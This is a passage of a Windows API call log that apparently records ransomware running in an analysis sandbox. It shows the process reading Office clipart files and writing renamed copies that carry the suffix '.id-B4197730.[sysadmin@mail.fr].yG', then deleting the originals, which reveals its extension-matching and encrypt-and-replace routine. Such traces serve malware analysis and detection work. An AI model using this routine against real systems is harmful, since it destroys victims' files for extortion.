	[0150.867] lstrlenW (lpString=".dbf") returned 4
	[0150.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.868] lstrlenW (lpString=".1cd") returned 4
	[0150.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.868] lstrlenW (lpString=".jpg") returned 4
	[0150.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.868] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.868] lstrlenW (lpString="HH01015_.WMF") returned 12
	[0150.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.869] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1148) returned 1
	[0150.869] CloseHandle (hObject=0x540) returned 1
	[0150.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220
	[0150.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.870] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.870] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.871] GetLastError () returned 0x0
	[0150.871] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x47c, lpOverlapped=0x0) returned 1
	[0150.886] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x480, lpOverlapped=0x0) returned 1
	[0150.888] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.888] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.888] SetEndOfFile (hFile=0x538) returned 1
	[0150.888] CloseHandle (hObject=0x538) returned 1
	[0150.889] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.889] SetEndOfFile (hFile=0x540) returned 1
	[0150.892] CloseHandle (hObject=0x540) returned 1
	[0150.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.893] lstrlenW (lpString=".doc") returned 4
	[0150.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.893] lstrlenW (lpString=".docx") returned 5
	[0150.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.893] lstrlenW (lpString=".pdf") returned 4
	[0150.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.893] lstrlenW (lpString=".xls") returned 4
	[0150.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.893] lstrlenW (lpString=".xlsx") returned 5
	[0150.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.894] lstrlenW (lpString=".ppt") returned 4
	[0150.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString=".zip") returned 4
	[0150.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.894] lstrlenW (lpString=".rar") returned 4
	[0150.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString=".bz2") returned 4
	[0150.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString=".7z") returned 3
	[0150.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString=".dbf") returned 4
	[0150.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString=".1cd") returned 4
	[0150.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString=".jpg") returned 4
	[0150.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.894] lstrlenW (lpString=".doc") returned 4
	[0150.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.894] lstrlenW (lpString=".docx") returned 5
	[0150.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.894] lstrlenW (lpString=".pdf") returned 4
	[0150.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.895] lstrlenW (lpString=".xls") returned 4
	[0150.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.895] lstrlenW (lpString=".xlsx") returned 5
	[0150.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.895] lstrlenW (lpString=".ppt") returned 4
	[0150.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.895] lstrlenW (lpString=".zip") returned 4
	[0150.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.895] lstrlenW (lpString=".rar") returned 4
	[0150.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.895] lstrlenW (lpString=".bz2") returned 4
	[0150.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.895] lstrlenW (lpString=".7z") returned 3
	[0150.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.895] lstrlenW (lpString=".dbf") returned 4
	[0150.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.896] lstrlenW (lpString=".1cd") returned 4
	[0150.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0150.896] lstrlenW (lpString=".jpg") returned 4
	[0150.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.896] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.896] lstrlenW (lpString="HH01065_.WMF") returned 12
	[0150.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.024] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1268) returned 1
	[0151.025] CloseHandle (hObject=0x540) returned 1
	[0151.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220
	[0151.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0151.281] GetLastError () returned 0x0
	[0151.281] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0151.283] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x500, lpOverlapped=0x0) returned 1
	[0151.284] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.284] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.284] SetEndOfFile (hFile=0x530) returned 1
	[0151.284] CloseHandle (hObject=0x530) returned 1
	[0151.284] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.284] SetEndOfFile (hFile=0x388) returned 1
	[0151.287] CloseHandle (hObject=0x388) returned 1
	[0151.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1
	[0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.289] lstrlenW (lpString=".doc") returned 4
	[0151.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.289] lstrlenW (lpString=".docx") returned 5
	[0151.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.289] lstrlenW (lpString=".pdf") returned 4
	[0151.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.289] lstrlenW (lpString=".xls") returned 4
	[0151.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.289] lstrlenW (lpString=".xlsx") returned 5
	[0151.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.289] lstrlenW (lpString=".ppt") returned 4
	[0151.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString=".zip") returned 4
	[0151.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.290] lstrlenW (lpString=".rar") returned 4
	[0151.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString=".bz2") returned 4
	[0151.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString=".7z") returned 3
	[0151.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString=".dbf") returned 4
	[0151.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString=".1cd") returned 4
	[0151.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString=".jpg") returned 4
	[0151.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.290] lstrlenW (lpString=".doc") returned 4
	[0151.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.290] lstrlenW (lpString=".docx") returned 5
	[0151.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.290] lstrlenW (lpString=".pdf") returned 4
	[0151.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString=".xls") returned 4
	[0151.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.291] lstrlenW (lpString=".xlsx") returned 5
	[0151.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.291] lstrlenW (lpString=".ppt") returned 4
	[0151.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.291] lstrlenW (lpString=".zip") returned 4
	[0151.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.291] lstrlenW (lpString=".rar") returned 4
	[0151.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString=".bz2") returned 4
	[0151.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString=".7z") returned 3
	[0151.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.291] lstrlenW (lpString=".dbf") returned 4
	[0151.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.291] lstrlenW (lpString=".1cd") returned 4
	[0151.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0151.291] lstrlenW (lpString=".jpg") returned 4
	[0151.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.292] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.292] lstrlenW (lpString="HH01759_.WMF") returned 12
	[0151.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.293] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5414) returned 1
	[0151.293] CloseHandle (hObject=0x388) returned 1
	[0151.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220
	[0151.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.294] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.294] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0151.295] GetLastError () returned 0x0
	[0151.295] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1526, lpOverlapped=0x0) returned 1
	[0151.297] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1530, lpOverlapped=0x0) returned 1
	[0151.299] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.299] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.299] SetEndOfFile (hFile=0x530) returned 1
	[0151.299] CloseHandle (hObject=0x530) returned 1
	[0151.299] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.300] SetEndOfFile (hFile=0x388) returned 1
	[0151.304] CloseHandle (hObject=0x388) returned 1
	[0151.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0151.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.305] lstrlenW (lpString=".doc") returned 4
	[0151.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.305] lstrlenW (lpString=".docx") returned 5
	[0151.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.306] lstrlenW (lpString=".pdf") returned 4
	[0151.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString=".xls") returned 4
	[0151.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.306] lstrlenW (lpString=".xlsx") returned 5
	[0151.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.306] lstrlenW (lpString=".ppt") returned 4
	[0151.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.306] lstrlenW (lpString=".zip") returned 4
	[0151.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.306] lstrlenW (lpString=".rar") returned 4
	[0151.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString=".bz2") returned 4
	[0151.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString=".7z") returned 3
	[0151.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.306] lstrlenW (lpString=".dbf") returned 4
	[0151.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.306] lstrlenW (lpString=".1cd") returned 4
	[0151.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.306] lstrlenW (lpString=".jpg") returned 4
	[0151.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.307] lstrlenW (lpString=".doc") returned 4
	[0151.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString=".docx") returned 5
	[0151.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.307] lstrlenW (lpString=".pdf") returned 4
	[0151.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString=".xls") returned 4
	[0151.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.307] lstrlenW (lpString=".xlsx") returned 5
	[0151.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.307] lstrlenW (lpString=".ppt") returned 4
	[0151.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.307] lstrlenW (lpString=".zip") returned 4
	[0151.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.307] lstrlenW (lpString=".rar") returned 4
	[0151.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString=".bz2") returned 4
	[0151.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.307] lstrlenW (lpString=".7z") returned 3
	[0151.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
